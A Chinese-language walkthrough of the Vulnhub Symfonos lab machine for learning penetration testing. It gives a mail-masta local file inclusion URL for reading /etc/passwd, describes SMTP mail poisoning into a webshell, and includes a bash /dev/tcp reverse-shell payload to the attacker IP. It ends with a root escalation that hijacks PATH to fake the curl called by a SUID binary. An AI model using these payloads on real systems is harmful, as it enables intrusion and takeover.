Symfonos——借助PATH环境变量提权
#简述
本文通过对Vulnhub靶机——Symfonos的渗透学习关于Path环境变量提权的方法。
#过程
靶机:192.168.230.225
攻击机:192.168.230.128
1、老样子,对C段进行扫描得到靶机的IP地址
2、再对目标IP进行详细的端口扫描,以防缺漏
可以看到靶机开放了 22、25、80、139、445 端口。
3、访问80端口,没啥收获
4、然后使用dirsearch工具对其进行目录扫描
5、访问 /manual 路径,是一个 Apache HTTP Server 的页面
6、做到这里反而没去找Apache相关的漏洞,而是把目光转向 445 端口
既然开放了445端口,那么SMB协议也是一个突破口。
7、使用smbclient对靶机IP信息收集,发现了两个共享文件夹分别为 helios 和 anonymous。其中helios需要密码才能登录,而anonymous不需要。
8、访问anonymous文件夹,发现里面有一个名为** attention.txt** 文件
其内容为:
大致意思是不要用 "epidoko"、"qwerty"和"baseball"这三个密码。
9、利用这个线索去登录另外的文件夹helios
成功登录,发现下面也存在两个txt文件
10、下载打开来看
上面这段讲的是一个神话故事,没什么用;而下面的就给了一个路径的提示:/h3l105
11、访问该路径,从页面的关键字或指纹识别插件来看,这是用WordPress搭建的
12、使用WPScan这个专门针对WordPress漏洞扫描工具对当前URL进行扫描,并且设置上插件检测模式。
13、从扫描的结果来看,mail-masta 这处标红
14、使用searchsploit搜索关于 WordPress的mail-masta的exp
搜索结果显示有三个
15、选择第一个本地文件包含漏洞,找到对应路径下的txt文件
下面是漏洞URL:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
16、验证一下,成功读取到** /etc/passwd** 文件
执行id命令
17、由于靶机也开放了25端口,是SMTP服务,那就结合邮件投毒和本地文件包含漏洞来进行getshell
在邮件中写了一句话木马:
18、访问** /var/mail/helios** 路径下,发现刚才写的一句话木马已经被解析
19、payload:** shell=/bin/bash -i >& /dev/tcp/192.168.230.128/5555 0>&1**
执行反弹shell命令
成功反弹
20、这时候的用户为helios,为普通用户,需要进一步提权到root
21、执行命令:find / -perm -4000 -type f 2>/dev/null
搜索具有SUID权限的可执行文件
发现一个特殊的文件,跟其他的路径不太一样
22、查看具体内容,发现是一堆乱码,应该是二进制文件
使用strings查看,发现 curl 命令
23、借助PATH环境变量提权:先在/tmp目录下新建一个curl文件,把 "/bin/sh"命令写入文件中,然后把/tmp写入环境变量中,接着执行 /opt/statuscheck,成功拿到root的shell!
#总结
1、大致过程:web漏洞(入口点)-> 个人用户权限 -> 管理员用户(root)
2、这个靶机主要考察是Path环境变量配合SUID提权,提权关键在于那个拥有SUID的 /opt/statuscheck 文件,而他里面包含的curl又可以借此来伪造一个我们自定义的curl(包含getshell命令,也可以尝试反弹),通过修改环境变量来达到提权目的。
前提条件:(1)需要找到的文件具有SUID权限;(2)该文件调用了某命令。
3、通过这次打靶也学习了一部分关于445端口SMB协议的渗透思路,以及SMTP邮件投毒的方法。